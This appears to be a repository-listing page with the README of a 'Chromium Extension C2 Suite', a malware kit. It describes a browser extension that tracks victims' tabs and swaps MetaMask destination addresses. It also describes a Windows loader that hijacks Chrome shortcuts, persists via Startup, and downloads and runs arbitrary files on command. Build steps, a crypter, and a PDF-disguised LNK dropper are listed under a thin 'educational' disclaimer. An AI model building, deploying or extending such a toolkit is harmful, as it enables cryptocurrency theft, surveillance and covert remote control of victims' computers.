https://github.com/yuragy/chrome-extension-installer
Chromium extension + loader with command support for system control + 2 Node JS servers
https://github.com/yuragy/chrome-extension-installer
automation-script browser-automation browser-hacking chrome-api chrome-devtools chrome-extension chromium developer-tools extension-installer extension-loader extension-management google-chrome pentest-tools web-extension web-security
Last synced: 6 months ago
JSON representation
Chromium extension + loader with command support for system control + 2 Node JS servers
- Host: GitHub
- URL: https://github.com/yuragy/chrome-extension-installer
- Owner: Yuragy
- Created: 2025-05-05T01:48:51.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2025-07-21T09:26:38.000Z (7 months ago)
- Last Synced: 2025-07-21T11:27:29.791Z (7 months ago)
- Topics: automation-script, browser-automation, browser-hacking, chrome-api, chrome-devtools, chrome-extension, chromium, developer-tools, extension-installer, extension-loader, extension-management, google-chrome, pentest-tools, web-extension, web-security
- Language: JavaScript
- Homepage:
- Size: 135 KB
- Stars: 7
- Watchers: 1
- Forks: 4
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Chromium Extension C2 Suite
> **Chromium extension, a separate C2 with a web panel for it.
> Loader for the extension that works with the separate C2 + web panel,
> and can also work *without* the extension by executing commands and locking into the system.**
---
## Components
1. **extension** – browser extension itself
2. **loader** – installer/agent that deploys the extension and executes commands
3. **loaderPanel** – server + web panel that control the loader
4. **scrypt** – additional utilities
5. **server** – server + web panel that control the extension
---
## Extension Server (server/)
### Authorization Data
- login: admin
- pass : password
### Device Tracker
Displays statistics of connected devices:
* **Status** online / offline
* **Identifier** device tag
* **URL** of the active tab
* **Title** of the active tab
* **Timestamp**
### MetaMask Override
1. Specify 10 preset swap values in configmeta.json.
2. Successful swaps are logged in a table showing:
* Device Status
* Override Address spoofed destination
* Timestamp
### Extension Panel
* Real-time randomizer output shown to the user whether or not it was swapped
* Enter preset values by groups
* View history of randomizer swaps
* See the last generated number
### Settings
Change the panels login/password stored in configpass.json.
---
## Loader Build / C2 Loader (loader/)
### Installer Commands
* restart_chrome — Restart Chrome on the victim
* update_extension — Load a new extension, remove the old one
* delete — Remove itself and all temp data completely
* load_and_run — Download any file and execute it
### Auth Credentials
```
login : admin
password: admin
```
### MongoDB data storage
| Section | Features |
| ----------------- | ---------------------------------------------------------------------------------------------------------------------- |
| **Home** | Filter Online / Offline, search by Device ID
Send commands to a specific device
View device list & history |
| **Configuration** | Edit Url Lock / Url Unlock for Xlock page |
---
## 🪟 Build Windows – loadWin x64
* Uses winshell, shutil
* Creates autorun shortcut in Startup
* Restarts Chrome via .bat
* Recursively finds every Chrome shortcut and overwrites it
* Works with temp files in %TEMP%
> *Built-in obfuscator is planned but not finalized.*
### Build Steps
```
1 – Install PyInstaller
pip install pyinstaller
2 – Build executable
pyinstaller --onefile --add-data "extension;extension" loadwin.py
```
* --add-data "extension;extension" embeds the extension directory.
* Output: dist/loadwin.exe
* Install all dependencies first
### File Variants
| Script | Purpose |
| -------------- | ---------------------------------------------------------------------- |
| loadwin.py | Full version: installs in system, loads extension, awaits all commands |
| loader.py | Installs extension only and handles restart_chrome |
| load.py | Same as loadwin.py except no persistence on disk |
| Sample build | See scrypt/exe/ |
> Requires admin rights for stability – runs, but unreliably, without them.
### Runtime Functionality
1. First run: copies extension to %APPDATA%\.hidden_extension\extension if absent.
2. Adds shortcut to Startup %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.
3. Locates every Chrome.lnk and adds --load-extension="…" to the target.
4. Kills all Chrome processes, waits 3 min, re-launches Chrome via temp .bat.
5. Polls the server every 30 s for commands:
* restart_chrome — update shortcuts & restart
* load_and_run — download exe to temp & run
* update_extension — download zip, replace extension, restart
* delete — remove extension, autostart shortcut, and the agent itself
6. delete also kills Chrome and wipes the hidden extension folder.
---
## Quick Start - Loader Panel
Init Node project:
```
npm init -y
```
Install npm check globally:
```
npm install -g npm-check
```
Install missing deps:
```
npm-check --install
```
Verify:
```
npm-check --install
```
Run:
```
npm start
```
Uses MongoDB – recommended GUI: MongoDB Compass.
---
## Full Pack Scripts (scrypt/)
| Folder | Description |
| ----------- | -------------------------------------------------------------------------- |
| CVBS | VBS mods that download & run install.vbs on various Windows versions |
| DropDemo | Demo crypter for load.exe |
| exe | Pre-built load.exe Python + extension packed |
| lnk | Auto-creates a shortcut that opens a PDF and runs install.vbs silently |
| LoaderMac | macOS installer demo, WIP, requires admin password |
---
## Disclaimer
> This repository is provided for educational purposes only and intended for authorized security research.
> Unauthorized or illegal use is strictly prohibited.